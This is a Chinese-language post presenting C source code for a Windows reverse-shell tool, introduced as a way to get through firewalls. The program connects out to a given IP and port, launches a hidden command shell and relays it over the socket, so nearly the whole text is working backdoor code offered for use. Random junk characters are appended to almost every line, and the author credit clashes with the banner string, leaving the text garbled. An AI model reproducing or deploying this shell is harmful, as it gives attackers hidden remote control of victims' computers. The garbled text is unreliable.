这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^^%JoQ.
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/* ============================== $=/rGpAk
Rebound port in Windows NT Qh*)pt]n
By wind,2006/7 lbRzx4=\y
===============================*/ {$;2HbM(
#include @B?FE\
#include 5J
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#pragma comment(lib,"wsock32.lib") [w!C*_V 9
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void OutputShell(); ^w.]Hd2
SOCKET sClient; w&%9IJ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6Lb{r4^
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void main(int argc,char **argv) z<!O!wX_aI
{ >Iuzk1'S
WSADATA stWsaData; {@3z\wMK$
int nRet; vd`O aM}#U
SOCKADDR_IN stSaiClient,stSaiServer; h\(B#SN
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if(argc != 3) GQb i$kl
{ jgG$'|s}
printf("Useage:\n\rRebound DestIP DestPort\n"); 8) HBh7/
return; ]%
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} D&/I1=\(
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WSAStartup(MAKEWORD(2,2),&stWsaData); \wYc1M@7V
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "Ht'{ &
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stSaiClient.sin_family = AF_INET; 5$kdgFq(
stSaiClient.sin_port = htons(0); J96uyS*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :_v!#H)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Hfh!l2P
{ fN@{y+6
printf("Bind Socket Failed!\n"); [
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return; >%u@R3PH]
} AotCX7T2T
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stSaiServer.sin_family = AF_INET; X3<K 1/<
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P;73Hr[E#
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); h$>wv`
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Nar>FR7ut
{ lbTV$A
printf("Connect Error!"); V4|uas{0I:
return; <YH=3[
} HJIC<U
OutputShell(); \|.7-X
} ,beS0U]
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void OutputShell() Ke!'gohv
{ ?^}_j
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char szBuff[1024]; +>SRrIi
SECURITY_ATTRIBUTES stSecurityAttributes; V^TbP.
OSVERSIONINFO stOsversionInfo; Ird|C[la
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2s\BY%XY
STARTUPINFO stStartupInfo; d1c0l{JV3
char *szShell; :S -";.:"
PROCESS_INFORMATION stProcessInformation; DN_W.o
unsigned long lBytesRead; RO.U(T
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I-kWS4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1y(UgEg
stSecurityAttributes.lpSecurityDescriptor = 0; \F{:5,Du)
stSecurityAttributes.bInheritHandle = TRUE; Z+4D.bA
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $,ikv?"L
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4t*so~
2: SO_O4C
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v7,$7@$:\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6~xBi(m`
stStartupInfo.wShowWindow = SW_HIDE; MjD75hIZ
stStartupInfo.hStdInput = hReadPipe; l$XPIC~H
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Rko M~`CT
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GetVersionEx(&stOsversionInfo); i{Ds&{
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switch(stOsversionInfo.dwPlatformId) , jU5|2
{ $!B}$I;cd
case 1: 6;iJ*2f5V
szShell = "command.com"; `XKVr
break; l1'6cLT`
default: 3I $>uR
szShell = "cmd.exe"; 9t$]X>}
break; bm#(?
} AXPMnbUS
H,y4`p 0
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tU:EN;H
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send(sClient,szMsg,77,0); &%mXYj3y5
while(1) ;+/o?:AH
{ Nd@~>&F
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); M{mSd2
if(lBytesRead) 4a''Mi`u
{ h@ )
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -LW[7s$
send(sClient,szBuff,lBytesRead,0); Hy_;nN+e
} 4vWkT8HQ
else =d)-Fd2li
{ >V$ Gx>I
lBytesRead=recv(sClient,szBuff,1024,0); ])}]/Qw
if(lBytesRead<=0) break; <hx+wrv
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t0)<$At6J
} [p;E~-S
} x@KZ]
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return; )]htm&q5
}